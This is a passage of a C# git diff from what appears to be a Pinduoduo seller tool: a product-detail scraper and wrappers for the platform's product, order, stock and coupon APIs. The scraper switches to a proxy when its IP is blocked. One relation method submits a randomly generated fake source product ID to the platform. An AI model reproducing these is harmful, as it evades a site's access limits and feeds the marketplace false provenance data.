(!Product.Exists(pr => pr.Id == p.Id)) + Product.Add(p); + } + LogSave.Add(Name, "获取 " + (Shop == null ? "" : Shop.ShopName) + " 流量:" + i); + Thread.Sleep(100); + } + ThisCount = MaxCount; + Running = false; + } + + public DataGridView dataGridViewX5; + + } + + public class ProductVisitBase + { + public string Message = ""; + public string Title = ""; + public long Id; + public long GoodsSn; + public int OrderCount = 0; + public bool Checked = false; + /// + /// 支付金额 + /// + public decimal PayMoney = 0; + public int Uv = 0; + public decimal Price = 0; + /// + /// 购物车 + /// + public int CartCount = 0; + /// + /// 收藏 + /// + public int FavCount = 0; + /// + /// 销量 + /// + public int SoldCount = 0; + + public DateTime UpdateTime = DateTime.Now.AddDays(-365); + public int Pv = 0; + /// + /// 平均用户付款数 + /// + public decimal UvAvgPay = 0; + } +} diff --git a/Work/Api/MobileDetail.cs b/Work/Api/MobileDetail.cs new file mode 100644 index 0000000..65e3eef --- /dev/null +++ b/Work/Api/MobileDetail.cs @@ -0,0 +1,309 @@ + +using System; +using System.Collections.Generic; +using System.Threading; +using AllBase; +using Work.CollectClass; + +namespace Work.Api +{ + public class MobileDetail + { + public string Name; + public long Pid; + public long FromId = 0; + public string FromShopName = ""; + public int FromSiteId = 0; + public string message_alert = string.Empty; + public MobileDetail(string name, long pid) + { + Name = name; + Pid = pid; + } + + public ProductCollectBase Get() + { + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Pid)) + return TaobaoMobileCollect.ProductTemp[Pid]; + var p = new ProductCollectBase(); + string url = "http://apiv4.yangkeduo.com/v5/goods/" + Pid + "?timeout=1500&pdduid=0"; + string html = GetPostTaobaoHtml.GetUrl(url, "http://apiv4.yangkeduo.com", true, ""); + Thread.Sleep(3000); + if (CollectKeywordByTaobao.SaveCollect && !string.IsNullOrEmpty(html) && html.Contains("远程服务器返回错误")) + { + Thread.Sleep(6000); + html = GetHtml.ByUsa(true, url); + } + if (string.IsNullOrEmpty(html) || html.Contains("远程服务器返回错误")) + { + Thread.Sleep(5000); + TaobaoProductBase t = new TaobaoProductBase(); + t.FromType = "拼多多"; + t.FromId = Pid; + PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, t); + pp.NoAdd = true; + pp.Get(); + p = pp.pb; + return p; + } + if (string.IsNullOrEmpty(html) || html.Contains("\"success\":false")) + { + LogSave.Add(Name, "商品不存在:" + Pid); + return p; + } + if (html.Contains("远程服务器返回错误")) + { + LogSave.Add(Name, "IP临时被封请切换电脑IP:" + Pid); + return p; + } + if (BaseRegex.GetIntJson(ref html, "is_onsale") == 0) + { + LogSave.Add(Name, "商品已下架:" + Pid); + return p; + } + + MobileDetailBase tp = JsonHelper.DeserializeJsonToObject(html); + p.name = tp.goods_name; + for (int i = 0; i < tp.gallery.Count; i++) + { + if (tp.gallery[i].type == 1) + p.Images.Add(tp.gallery[i].url); + else + p.content += ""; + } + if (tp.sku.Count > 0 && tp.sku[0].specs.Count == 1) + { + var spe = tp.sku[0].specs[0]; + PropBase prop = new PropBase(); + prop.name = spe.spec_key; + for (int i = 0; i < tp.sku.Count; i++) + { + PropValueBase pvb = new PropValueBase(); + pvb.name = tp.sku[i].specs[0].spec_value; + pvb.id = tp.sku[i].spec; + pvb.name_pinduoduo = pvb.name; + pvb.image = tp.sku[i].thumb_url; + pvb.image_from_url = pvb.image; + prop.Values.Add(pvb); + + SkuMapBase sku = new SkuMapBase(); + sku.name = tp.sku[i].specs[0].spec_key + ":" + tp.sku[i].specs[0].spec_value; + sku.before_price = tp.sku[i].normal_price / 100m; + sku.price = tp.sku[i].group_price / 100m; + sku.number = tp.sku[i].is_onsale == 0 ? 0 : tp.sku[i].quantity; + sku.sale_count = tp.sku[i].sold_quantity; + sku.id = tp.sku[i].sku_id; + sku.pinduoduo_image = tp.sku[i].thumb_url; + sku.prop_image = tp.sku[i].thumb_url; + p.SkuMaps.Add(sku); + } + p.Props.Add(prop); + } + if (tp.sku.Count > 0 && tp.sku[0].specs.Count == 2) + { + for (int i = 0; i < tp.sku[0].specs.Count; i++) + { + PropBase prop = new PropBase(); + prop.name = tp.sku[0].specs[i].spec_key; + p.Props.Add(prop); + for (int j = 0; j < tp.sku.Count; j++) + { + if (prop.Values.Exists(po => po.name == tp.sku[j].specs[i].spec_value)) + continue; + PropValueBase pv = new PropValueBase(); + pv.name = tp.sku[j].specs[i].spec_value; + pv.image = tp.sku[j].thumb_url; + pv.name_pinduoduo = pv.name; + pv.id = tp.sku[j].spec.Split(',')[i]; + prop.Values.Add(pv); + } + } + for (int i = 0; i < tp.sku.Count; i++) + { + SkuMapBase sku = new SkuMapBase(); + sku.name = tp.sku[i].specs[0].spec_key + ":" + tp.sku[i].specs[0].spec_value + ";" + tp.sku[i].specs[1].spec_key + ":" + tp.sku[i].specs[1].spec_value; + sku.before_price = tp.sku[i].normal_price / 100m; + sku.price = tp.sku[i].group_price / 100m; + sku.number = tp.sku[i].is_onsale == 0 ? 0 : tp.sku[i].quantity; + sku.sale_count = tp.sku[i].sold_quantity; + sku.id = tp.sku[i].sku_id; + sku.pinduoduo_image = tp.sku[i].thumb_url; + sku.prop_image = tp.sku[i].thumb_url; + sku.spec_pinduoduo = tp.sku[i].spec; + p.SkuMaps.Add(sku); + } + } + p.id = Pid; + p.cat1 = tp.cat_id_1; + p.cat2 = tp.cat_id_2; + p.cat3 = tp.cat_id_3; + p.cat4 = tp.cat_id == tp.cat_id_3 ? 0 : tp.cat_id; + p.cat_id = tp.cat_id; + p.from = "拼多多"; + p.from_site_id = 2; + p.mall_id = tp.mall_id; + var f = new FromTitleToCat(); + p.main_cid = f.GetMainCatId(p.cat1); + p.main_cat_name = f.MainCatName; + p.name_share = tp.share_desc; + p.content_pinduoduo = tp.goods_desc; + p.hd_thumb_url_pinduoduo = tp.hd_thumb_url; + p.thumb_url_pinduoduo = tp.thumb_url; + p.image = tp.image_url; + p.cost_template_id_pinduoduo = tp.cost_template_id; + p.saleCount = tp.sales; + p.from_id = FromId; + p.from_shop_name = FromShopName; + if (p.saleCount > 0 ) + { + //url = BaseClass.BigDataApiUrl + "?obj=product/product"; + //string json = JsonHelper.SerializeObject(p); + //string data = "&act=update&site_id=2&shop_name=" + GetHtml.UrlEncodeUtf8(p.from_shop_name) + "&json=" + GetHtml.UrlEncodeUtf8(json); + //html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data); + } + try + { + if (TaobaoMobileCollect.ProductTemp.Count > 1000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + + TaobaoMobileCollect.ProductTemp.Add(Pid,p); + } + catch + { + } + return p; + } + + public TaobaoProductBase ProductToTaobao(ProductCollectBase p) + { + TaobaoProductBase t = new TaobaoProductBase(); + t.GoodsId = p.id; + t.Cat1 = p.cat1; + t.Cat2 = p.cat2; + t.Cat3 = p.cat3; + t.Cat4 = p.cat4; + t.CatId = p.cat_id; + t.FromId = p.from_id; + t.FromType = p.from; + t.MailId = p.mall_id; + t.MainCatId = p.main_cid; + t.MainCatName = p.main_cat_name; + t.Price = p.price; + t.SaleCount = p.saleCount; + t.Titlte = p.name; + return t; + } + } + + public class MobileDetailBase + { + public string goods_sn = ""; + public string goods_name = ""; + public string goods_desc = ""; + public string thumb_url = ""; + public string hd_thumb_url = ""; + public string country = ""; + public string warehouse = ""; + public string image_url = ""; + public string share_desc = ""; + public string skip_goods = ""; + public long goods_id = 0; + public int cat_id = 0; + public int mall_id = 0; + public int market_price = 0; + public int goods_type = 0; + public int is_refundable = 0; + public int quick_refund = 0; + public int is_pre_sale = 0; + public int pre_sale_time = 0; + public int rv_image = 0; + public int rv = 0; + public int gpv = 0; + public int shipment_limit_second = 0; + public int sales = 0; + public int is_mall_rec = 0; + public int min_on_sale_group_price = 0; + public int max_on_sale_group_price = 0; + public int min_on_sale_normal_price = 0; + public int max_on_sale_normal_price = 0; + public int min_group_price = 0; + public int max_group_price = 0; + public int max_normal_price = 0; + public int min_normal_price = 0; + public int old_min_on_sale_group_price = 0; + public int old_max_on_sale_group_price = 0; + public int old_min_group_price = 0; + public int old_max_group_price = 0; + public int tag = 0; + public int cost_template_id = 0; + public int show_rec = 0; + public int app_new = 0; + public int is_home_delivery = 0; + public int second_hand = 0; + public int is_mall_dsr = 0; + public int created_at = 0; + public int quantity = 0; + public int cat_id_1 = 0; + public int cat_id_2 = 0; + public int cat_id_3 = 0; + public List gallery = new List(); + public List sku = new List(); + } + + public class MobileDetailgalleryBase + { + public long id = 0; + public long goods_id = 0; + public int width = 0; + public int height = 0; + public int priority = 0; + public int type = 0; + public string url = ""; + } + + /// + /// sku + /// + public class MobileDetailskuBase + { + public long sku_id = 0; + public long goods_id = 0; + public string thumb_url = ""; + public int quantity = 0; + public int limit_quantity = 0; + public int sold_quantity = 0; + public int init_quantity = 0; + public int is_onsale = 0; + public string spec = ""; + public string outer_id = ""; + public int normal_price = 0; + public int group_price = 0; + public int old_group_price = 0; + /// + /// 未使用 + /// + public int price = 0; + /// + /// 未使用 + /// + public int market_price = 0; + public List specs = new List(); + } + + /// + /// 属性 + /// + public class MobileDetailspecsBase + { + /// + /// 属性名 + /// + public string spec_key = ""; + /// + /// 属性值 + /// + public string spec_value = ""; + } +} diff --git a/Work/Api/PinduoduoApiGetProduct.cs b/Work/Api/PinduoduoApiGetProduct.cs new file mode 100644 index 0000000..4023728 --- /dev/null +++ b/Work/Api/PinduoduoApiGetProduct.cs @@ -0,0 +1,1809 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using AllBase; +using Work.CollectClass; +using System.Text.RegularExpressions; +using Newtonsoft.Json; + +namespace Work.Api +{ + public class PinduoduoApiGetProduct + { + public ShopChatBase Shop; + public string Type, Name; + public Dictionary Data = new Dictionary(); + public static Dictionary OutId = new Dictionary(); + public static Dictionary> Product = new Dictionary>(); + public static bool isSelf = true; + public bool UserCache = true; + /// + /// 是否是微店转换商品 + /// + public bool FromWeiDian { get; set; } = false; + /// + /// 是否是商品同步模块同步非拼多多上家商品且商品加价比例低于8% + /// + public bool IsProdSyncNotPdd1_08 { get; set; } = false; + public List ids = new List(); + //存储当前shop,失效的clientId + public static Dictionary> ShopInvalidClientID = new Dictionary>(); + public static Dictionary> successClient = new Dictionary>(); + public static Dictionary ServiceApiDic = new Dictionary(); + public PinduoduoApiGetProduct(ShopChatBase shop) + { + Shop = shop; + } + /// + /// 获取编辑ID详情 + /// + /// + /// + public string GetCommitDetail(long cid) + { + Type = "pdd.goods.commit.detail.get"; + Data = new Dictionary(); + Data.Add("goods_commit_id", cid.ToString()); + string html = GetData(); + return html; + } + /// + /// 获取Cps全店佣金 + /// + /// + /// + public string GetCpsShopSet() + { + Type = "pdd.goods.cps.mall.unit.query"; + Data = new Dictionary(); + string html = GetData(); + return html; + } + /// + /// 获取分类 + /// + /// + /// + public string GetCatTemp(long cid) + { + Type = "pdd.goods.cat.template.get"; + Data = new Dictionary(); + Data.Add("cat_id", cid.ToString()); + string html = GetData(); + return html; + } + /// + /// 获取运费模板 + /// + /// + public string GetTemplate() + { + Type = "pdd.goods.logistics.template.get"; + Data = new Dictionary(); + string html = GetData(); + return html; + } + /// + /// 删除运费模板 + /// + /// + public string DelTemplate(string template_id) + { + Type = "pdd.goods.logistics.template.delete"; + Data = new Dictionary(); + Data.Add("template_id", template_id); + string html = GetData(); + return html; + } + /// + /// 获取分类 + /// + /// + /// + public string GetCatProperty(long cid, long pid, string name) + { + Type = "pdd.goods.template.property.value.search"; + Data = new Dictionary(); + Data.Add("cat_id", cid.ToString()); + Data.Add("template_pid", pid.ToString()); + Data.Add("value", name.ToString()); + string html = GetData(); + return html; + } + + /// + /// 获取编辑ID详情 + /// + /// + /// + public string DeleteCommitDetail(long cid) + { + Type = "pdd.delete.draft.commit"; + Data = new Dictionary(); + Data.Add("goods_commit_id", cid.ToString()); + string html = GetData(); + return html; + } + public string DeleteCpsProduct(long id) + { + Type = "pdd.goods.cps.unit.delete"; + Data = new Dictionary(); + Data.Add("goods_id", id.ToString()); + string html = GetData(); + return html; + } + /// + /// 关闭批次接口 + /// + /// + /// + public string CloseCoupon(long id) + { + Type = "pdd.promotion.coupon.close"; + Data = new Dictionary(); + Data.Add("batch_id", id.ToString()); + string html = GetData(); + return html; + } + /// + /// 修改商品推广 + /// + /// + /// + /// + /// + /// + /// + /// + /// + /// + public string ChangeCpsProduct(long id, int rate, long coupon_id, string coupon_start_time, string coupon_end_time, int discount, int init_quantity, int remain_quantity) + { + Type = "pdd.goods.cps.unit.change"; + Data = new Dictionary(); + Data.Add("goods_id", id.ToString()); + Data.Add("rate", rate.ToString()); + Data.Add("coupon_id", coupon_id.ToString()); + Data.Add("coupon_start_time", coupon_start_time.ToString()); + Data.Add("coupon_end_time", coupon_end_time.ToString()); + Data.Add("discount", discount.ToString()); + Data.Add("init_quantity", init_quantity.ToString()); + Data.Add("remain_quantity", remain_quantity.ToString()); + string html = GetData(); + return html; + } + + + + /// + /// 关联 + /// + /// + /// + /// 最低价 分 + /// 最高价 分 + /// 邮费 元 + /// 内部来源ID + /// + public string Relation(long pid, long fromId, int minPrice, int maxPrice, int postAge, int fromSite) + { + Type = "pdd.goods.relation.set"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + Data.Add("out_goods_id", fromId.ToString()); + Data.Add("out_detail_url", "https://item.taobao.com/item.htm?id=" + fromId); + Data.Add("out_low_goods_price", minPrice.ToString()); + Data.Add("out_high_goods_price", maxPrice.ToString()); + Data.Add("source_type", fromSite.ToString()); + Data.Add("postage", postAge.ToString()); + string html = GetData(); + if (string.IsNullOrEmpty(html) || !html.Contains("is_success")) + html = GetData(); + if (string.IsNullOrEmpty(html) || !html.Contains("is_success")) + html = GetData(); + return html; + } + /// + /// 淘宝分类自动识别为拼多多分类 + /// + /// 淘宝分类ID + /// 淘宝分类名 + /// 商品名 + /// + public string GetCatId(int catId, string catName, string title) + { + Type = "pdd.goods.outer.cat.mapping.get"; + Data = new Dictionary(); + Data.Add("outer_cat_id", catId.ToString()); + Data.Add("outer_cat_name", catName); + Data.Add("outer_goods_name", title); + string html = GetData(); + return html; + } + + /// + /// 关联 + /// + /// + /// + /// 最低价 分 + /// 最高价 分 + /// 邮费 元 + /// 内部来源ID + /// + public string Relationx(long pid, long fromId, int minPrice, int maxPrice, decimal postAge, int fromSite) + { + int pddSiteId = 7; + string fromIdx = fromId.ToString(); + switch (fromSite) + { + case 1: + pddSiteId = 0; + break; + case 2: + pddSiteId = 7; + //临时启用 + fromIdx = "5" + Randomx.GetNumber(11); + pddSiteId = 0; + break; + case 3: + pddSiteId = 2; + break; + case 4: + pddSiteId = 1; + break; + case 5: + pddSiteId = 4; + break; + case 6: + pddSiteId = 8; + break; + default: + pddSiteId = 0; + break; + } + int expressPrice = (int)(postAge * 100); + + Type = "pdd.goods.relation.set"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + Data.Add("out_goods_id", fromIdx); + Data.Add("out_low_goods_price", minPrice.ToString()); + Data.Add("out_high_goods_price", maxPrice.ToString()); + Data.Add("source_type", pddSiteId.ToString()); + Data.Add("postage", expressPrice.ToString()); + if (pddSiteId == 8) + Data.Add("out_detail_url", "https://weidian.com/item.html?itemID=" + fromId); + if (pddSiteId == 0) + Data.Add("out_detail_url", "https://item.taobao.com/item.htm?id=" + fromId); + if (pddSiteId == 1) + Data.Add("out_detail_url", "https://item.jd.com/" + fromId + ".html"); + if (pddSiteId == 2) + Data.Add("out_detail_url", "https://detail.1688.com/offer/" + fromId + ".html"); + if (pddSiteId == 4) + Data.Add("out_detail_url", "https://product.suning.com/0000000000/" + fromId + ".html"); + + string html = GetData(); + if (string.IsNullOrEmpty(html) || !html.Contains("is_success")) + html = GetData(); + if (string.IsNullOrEmpty(html) || !html.Contains("is_success")) + html = GetData(); + return html; + } + + public string GetRelation(string pid) + { + Type = "pdd.goods.get.relation"; + Data = new Dictionary(); + Data.Add("pdd_goods_id", "[" + pid.ToString() + "]"); + string html = GetData(); + return html; + } + + /// + /// 获取订单详情 + /// + /// 状态:1:待发货,2:已发货待签收,3:已签收 5:全部 + /// 售后状态 1:无售后或售后关闭,2:售后处理中,3:退款中,4: 退款成功 5:全部 + /// + public string GetOrderList(int status, int refund_status, DateTime begen, DateTime end, int page) + { + int start = BaseClass.GetTime(begen); + int after = BaseClass.GetTime(end); + Type = "pdd.order.list.get"; + Data = new Dictionary(); + Data.Add("order_status", status.ToString()); + Data.Add("refund_status", refund_status.ToString()); + Data.Add("start_confirm_at", start.ToString()); + Data.Add("end_confirm_at", after.ToString()); + Data.Add("page", page.ToString()); + Data.Add("page_size", "100"); + return GetData(); + } + /// + /// 获取订单详情 + /// + /// + /// + public string GetOrderDetail(string orderId) + { + Type = "pdd.order.list.get"; + Data = new Dictionary(); + Data.Add("order_sn", orderId); + return GetData(); + } + + /// + /// 获取运费模板 + /// + /// + /// + public string GetLogisticsTemplate() + { + Type = "pdd.goods.logistics.template.get"; + Data = new Dictionary(); + return GetData(); + } + + public void GetProductList(int isOnsale = 1) + { + string shopName = Shop == null ? BaseClass.ShopName : Shop.ShopName; + if (string.IsNullOrEmpty(shopName) || Product.ContainsKey(shopName) && Product[shopName].Count > 0) + return; + List pros = new List(); + + + Type = "pdd.goods.list.get"; + Data = new Dictionary(); + Data.Add("page", "1"); + if (isOnsale == 1) + Data.Add("is_onsale", "1"); + if (isOnsale == 0) + Data.Add("is_onsale", "0"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + string html = GetData(); + int count = BaseRegex.GetIntJson(ref html, "total_count"); + int page = count / 100 + 1; + for (int i = 1; i <= page; i++) + { + Data = new Dictionary(); + Data.Add("page", i.ToString()); + if (isOnsale == 1) + Data.Add("is_onsale", "1"); + if (isOnsale == 0) + Data.Add("is_onsale", "0"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + if (i > 1) + html = GetData(); + MatchCollection m = null; + if (isOnsale == 1) + m = BaseRegex.GetMatchRegex(ref html, @"{""is_more_sku"":[\s\S]+?""is_onsale"":1}"); + else if (isOnsale == 0) + m = BaseRegex.GetMatchRegex(ref html, @"{""is_more_sku"":[\s\S]+?""is_onsale"":0}"); + else + m = BaseRegex.GetMatchRegex(ref html, @"{""is_more_sku"":[\s\S]+?""is_onsale"":[\s\S]+?}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long id = BaseRegex.GetLongJson(ref list, "goods_id"); + int onsale = BaseRegex.GetIntJson(ref list, "is_onsale"); + var mm = BaseRegex.GetMatchRegex(ref list, @"""outer_goods_id"":""[\s]*([^""]+?)"""); + string outId = ""; + if (mm != null && mm.Count > 0) + outId = mm[mm.Count - 1].Groups[1].Value; + //if (string.IsNullOrEmpty(outId)) + // outId = BaseRegex.GetStringJson(ref list, ""); + if (!OutId.ContainsKey(id)) + { + try + { + OutId.Add(id, outId); + } + catch + { + } + } + ProductBase p = new ProductBase(); + p.Title = BaseRegex.GetStringJson(ref list, "goods_name"); + p.Id = id; + p.onSale = onsale; + p.OuterId = outId; + if (!string.IsNullOrEmpty(outId)) + { + JumpUpProductNew ju = new JumpUpProductNew(Shop); + ju.GetUrl(id.ToString()); + p.UpId = ju.UpId.ProductIdFrom; + } + pros.Add(p); + } + LogSave.Add(Name, "正在获取店铺" + Shop.ShopName + "商品第" + i + "页"); + } + + try + { + if (!Product.ContainsKey(shopName)) + Product.Add(shopName, pros); + else + Product[shopName] = pros; + } + catch + { + } + } + + public void GetInvalidProductList() + { + string shopName = Shop == null ? BaseClass.ShopName : Shop.ShopName; + if (string.IsNullOrEmpty(shopName) || Product.ContainsKey(shopName) && Product[shopName].Count > 0) + return; + List pros = new List(); + + + Type = "pdd.goods.list.get"; + Data = new Dictionary(); + Data.Add("page", "1"); + Data.Add("is_onsale", "1"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + string html = GetData(); + int count = BaseRegex.GetIntJson(ref html, "total_count"); + int page = count / 100 + 1; + for (int i = 1; i <= page; i++) + { + Data = new Dictionary(); + Data.Add("page", i.ToString()); + Data.Add("is_onsale", "1"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + if (i > 1) + html = GetData(); + var m = BaseRegex.GetMatchRegex(ref html, @"{""is_more_sku"":[\s\S]+?""is_onsale"":1}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long id = BaseRegex.GetLongJson(ref list, "goods_id"); + var mm = BaseRegex.GetMatchRegex(ref list, @"""outer_goods_id"":""[\s]*([^""]+?)"""); + string outId = ""; + if (mm != null && mm.Count > 0) + outId = mm[mm.Count - 1].Groups[1].Value; + //if (string.IsNullOrEmpty(outId)) + // outId = BaseRegex.GetStringJson(ref list, ""); + if (!OutId.ContainsKey(id)) + { + try + { + OutId.Add(id, outId); + } + catch + { + } + } + ProductBase p = new ProductBase(); + p.Title = BaseRegex.GetStringJson(ref list, "goods_name"); + p.Id = id; + p.OuterId = outId; + //if (!string.IsNullOrEmpty(outId)) + //{ + // JumpUpProductNew ju = new JumpUpProductNew(Shop); + // ju.GetUrl(id.ToString()); + // p.UpId = ju.UpId.ProductIdFrom; + //} + pros.Add(p); + } + LogSave.Add(Name, "正在获取店铺" + Shop.ShopName + "商品第" + i + "页"); + } + + try + { + if (!Product.ContainsKey(shopName)) + Product.Add(shopName, pros); + else + Product[shopName] = pros; + } + catch + { + } + } + + /// + /// 获取上架或下架的商品 + /// + /// + public void GetOnOrOffProductList(bool is_onsale) + { + string shopName = Shop == null ? BaseClass.ShopName : Shop.ShopName; + //if (string.IsNullOrEmpty(shopName) || Product.ContainsKey(shopName) && Product[shopName].Count > 0) + // return; + List pros = new List(); + + + Type = "pdd.goods.list.get"; + Data = new Dictionary(); + Data.Add("page", "1"); + Data.Add("is_onsale", is_onsale ? "1" : "0"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + string html = GetData(); + int count = BaseRegex.GetIntJson(ref html, "total_count"); + int page = count / 100 + 1; + for (int i = 1; i <= page; i++) + { + Data = new Dictionary(); + Data.Add("page", i.ToString()); + Data.Add("is_onsale", is_onsale ? "1" : "0"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + if (i > 1) + html = GetData(); + int onflag = is_onsale ? 1 : 0; + var m = BaseRegex.GetMatchRegex(ref html, @"{""is_more_sku"":[\s\S]+?""is_onsale"":" + onflag + "}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long id = BaseRegex.GetLongJson(ref list, "goods_id"); + + var mm = BaseRegex.GetMatchRegex(ref list, @"""outer_id"":""[\s]*([^""]+?)"""); + string outId = ""; + if (mm != null && mm.Count > 0) + outId = mm[mm.Count - 1].Groups[1].Value; + //if (string.IsNullOrEmpty(outId)) + // outId = BaseRegex.GetStringJson(ref list, ""); + if (!OutId.ContainsKey(id) && !outId.Contains("wait:")) + { + try + { + OutId.Add(id, outId); + } + catch + { + } + } + ProductBase p = new ProductBase(); + p.Title = BaseRegex.GetStringJson(ref list, "goods_name"); + p.Id = id; + p.OuterId = outId; + //if (!string.IsNullOrEmpty(outId)) + //{ + // JumpUpProductNew ju = new JumpUpProductNew(Shop); + // ju.GetUrl(id.ToString()); + // p.UpId = ju.UpId.ProductIdFrom; + //} + pros.Add(p); + } + LogSave.Add(Name, "正在获取店铺" + Shop.ShopName + "商品第" + i + "页"); + } + + try + { + if (!Product.ContainsKey(shopName)) + Product.Add(shopName, pros); + else + Product[shopName] = pros; + } + catch + { + } + } + + public void GetSellOutProductList() + { + string shopName = Shop == null ? BaseClass.ShopName : Shop.ShopName; + if (string.IsNullOrEmpty(shopName) || Product.ContainsKey(shopName) && Product[shopName].Count > 0) + return; + List pros = new List(); + + + Type = "pdd.goods.list.get"; + Data = new Dictionary(); + Data.Add("page", "1"); + Data.Add("is_onsale", "1"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + string html = GetData(); + int count = BaseRegex.GetIntJson(ref html, "total_count"); + int page = count / 100 + 1; + for (int i = 1; i <= page; i++) + { + Data = new Dictionary(); + Data.Add("page", i.ToString()); + Data.Add("is_onsale", "1"); + //Data.Add("page_size", "50"); + //Data.Add("outer_id", ""); + if (i > 1) + html = GetData(); + var m = BaseRegex.GetMatchRegex(ref html, @"\{""goods_id"":([\w\W]+?)\]\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + long id = BaseRegex.GetLongJson(ref list, "goods_id"); + var mm = BaseRegex.GetMatchRegex(ref list, @"""outer_goods_id"":""[\s]*([^""]+?)"""); + var goods_quantity = BaseRegex.GetLongJson(ref list, "goods_quantity"); + string outId = ""; + if (mm != null && mm.Count > 0) + outId = mm[mm.Count - 1].Groups[1].Value; + //if (string.IsNullOrEmpty(outId)) + // outId = BaseRegex.GetStringJson(ref list, ""); + if (!OutId.ContainsKey(id)) + { + try + { + OutId.Add(id, outId); + } + catch + { + } + } + ProductBase p = new ProductBase(); + p.Title = BaseRegex.GetStringJson(ref list, "goods_name"); + p.Id = id; + p.OuterId = outId; + if (!string.IsNullOrEmpty(outId)) + { + JumpUpProductNew ju = new JumpUpProductNew(Shop); + ju.GetUrl(id.ToString()); + p.UpId = ju.UpId.ProductIdFrom; + } + if (goods_quantity == 0) + { + pros.Add(p); + } + } + LogSave.Add(Name, "正在获取店铺" + Shop.ShopName + "商品第" + i + "页"); + } + + try + { + if (!Product.ContainsKey(shopName)) + Product.Add(shopName, pros); + else + Product[shopName] = pros; + } + catch + { + } + } + + public void GetLifeBallProductList() + { + string shopName = Shop == null ? BaseClass.ShopName : Shop.ShopName; + if (string.IsNullOrEmpty(shopName) || Product.ContainsKey(shopName) && Product[shopName].Count > 0) + return; + List pros = new List(); + Type = "pdd.goods.list.get"; + Data = new Dictionary(); + Data.Add("page", "1"); + Data.Add("is_onsale", "1"); + string html = GetData(); + int count = BaseRegex.GetIntJson(ref html, "total_count"); + int page = count / 100 + 1; + for (int i = 1; i <= page; i++) + { + Type = "pdd.goods.list.get"; + Data = new Dictionary(); + Data.Add("page", i.ToString()); + Data.Add("is_onsale", "1"); + if (i > 1) + html = GetData(); + var m = BaseRegex.GetMatchRegex(ref html, @"\{""goods_id"":([\w\W]+?)\]\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + string list = m[j].Groups[0].Value; + if (list.Contains("TJM") || list.Contains("PBB") || list.Contains("TJH") || list.Contains("\"sku_list\":[]")) + { + var p = new ProuctBase(); + p.Id = BaseRegex.GetLongJson(ref list, "goods_id"); + string htmlx = GetProduct(p.Id); + if (list.Contains("TJM") || list.Contains("PBB") || list.Contains("TJH")) + { + } + else + { + continue; + } + var mm = BaseRegex.GetMatchRegex(ref htmlx, @"\{""sku_id"":([\d]+)([^\}]+)?\}"); + int priceMax = 0; + int priceMin = int.MaxValue; + for (int k = 0; k < mm.Count; k++) + { + string listx = mm[k].Groups[0].Value; + int price = BaseRegex.GetIntJson(ref listx, "multi_price"); + if (price < priceMin) + priceMin = price; + if (priceMax < price) + priceMax = price; + } + p.PriceMax = priceMax / 100m; + p.PriceMin = priceMin / 100m; + ids.Add(p); + Shop.ProductCount = ids.Count; + UploadPinduoduoMain.ShopReplaceTemp.Add(Shop); + LogSave.Add("超级替换", "分析商品: " + p.Id); + } + else + { + } + } + LogSave.Add("超级替换", "获取在线产品 " + shopName + ",分页:" + i); + } + } + /// + /// 设置上下架 + /// + /// + /// + /// + public string SetOnline(long pid, bool online) + { + Type = "pdd.goods.sale.status.set"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + Data.Add("is_onsale", online ? "1" : "0"); + return GetData(); + } + /// + /// 设置库存 + /// + /// + /// + /// + public string SetSku(long sku_id, int quantity) + { + Type = "pdd.goods.sku.stock.update"; + Data = new Dictionary(); + Data.Add("sku_id", sku_id.ToString()); + Data.Add("quantity", quantity.ToString()); + return GetData(); + } + + /// + /// 设置库存 + /// + /// + /// + /// + public string SetGoodSku(long goods_id, long sku_id, int quantity) + { + Type = "pdd.goods.quantity.update"; + Data = new Dictionary();//pdd.goods.quantity.update + Data.Add("goods_id", goods_id.ToString()); + Data.Add("sku_id", sku_id.ToString()); + Data.Add("quantity", quantity.ToString()); + return GetData(); + } + + public string GetProduct(long pid) + { + Type = "pdd.goods.detail.get"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + return GetData()?.Replace("\\/", "/"); + } + + public void GetOnOrOffProductListById(List pidList, bool is_onsale = true) + { + string shopName = Shop == null ? BaseClass.ShopName : Shop.ShopName; + List pros = new List(); + LogSave.Add(Name, "正在获取店铺" + Shop.ShopName + "商品"); + + foreach (var pid in pidList) + { + Type = "pdd.goods.detail.get"; + Data = new Dictionary(); + Data.Add("goods_id", pid.ToString()); + string html = GetData(); + + int status = BaseRegex.GetIntJson(ref html, "status"); + if ((is_onsale && status != 1 && status != 3) || (!is_onsale && status != 2)) + { + continue; + } + + long id = BaseRegex.GetLongJson(ref html, "goods_id"); + var mm = BaseRegex.GetMatchRegex(ref html, @"""outer_id"":""[\s]*([^""]+?)"""); + if (mm == null || mm.Count == 0) + mm = BaseRegex.GetMatchRegex(ref html, @"""outer_goods_id"":""[\s]*([^""]+?)"""); + string outId = ""; + if (mm != null && mm.Count > 0) + outId = mm[mm.Count - 1].Groups[1].Value; + if (!OutId.ContainsKey(id) && !outId.Contains("wait:")) + { + try + { + OutId.Add(id, outId); + } + catch + { + } + } + ProductBase p = new ProductBase(); + p.Title = BaseRegex.GetStringJson(ref html, "goods_name"); + p.Id = id; + p.OuterId = outId; + pros.Add(p); + } + + try + { + if (!Product.ContainsKey(shopName)) + Product.Add(shopName, pros); 